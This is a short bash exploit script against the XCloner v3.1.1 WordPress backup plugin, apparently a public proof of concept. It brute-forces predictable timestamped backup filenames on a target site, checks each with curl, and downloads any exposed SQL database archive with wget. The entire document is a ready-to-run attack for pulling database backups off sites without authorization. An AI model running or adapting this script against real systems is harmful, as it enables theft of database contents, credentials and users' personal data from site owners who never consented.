Xcloner_v3.1.1_dbbackup_download-exploit

#!/bin/bash
#Exploit to download XCloner v3.1.1 Database backups
#Larry W. Cashdollar, @_larry0
#XCloner recommends a backup storage path under the WP root directory
#it uses a 0 size index.html file to block indexing.
#we can try to brute force the filenames it creates.
MONTH=10
DAY=30
#May need to set the DOMAIN to $1 the target depending on how WP is configured.
DOMAIN=
for y in `seq -w 1 23`; do
        for x in `seq -w 1 59`; do
                CPATH="http://$1/administrator/backups/backup_2014-"$MONTH"-"$DAY"_"$y"-"$x"_$DOMAIN-sql-nodrop.tar";
                 RESULT=`curl -s --head $CPATH|grep 200`;
                if [ -n "$RESULT" ]; then
                 echo "[+] Location $CPATH Found";
                 echo "[+] Received $RESULT";
                 echo "Downloading......";
                 wget $CPATH
                fi;
        done
done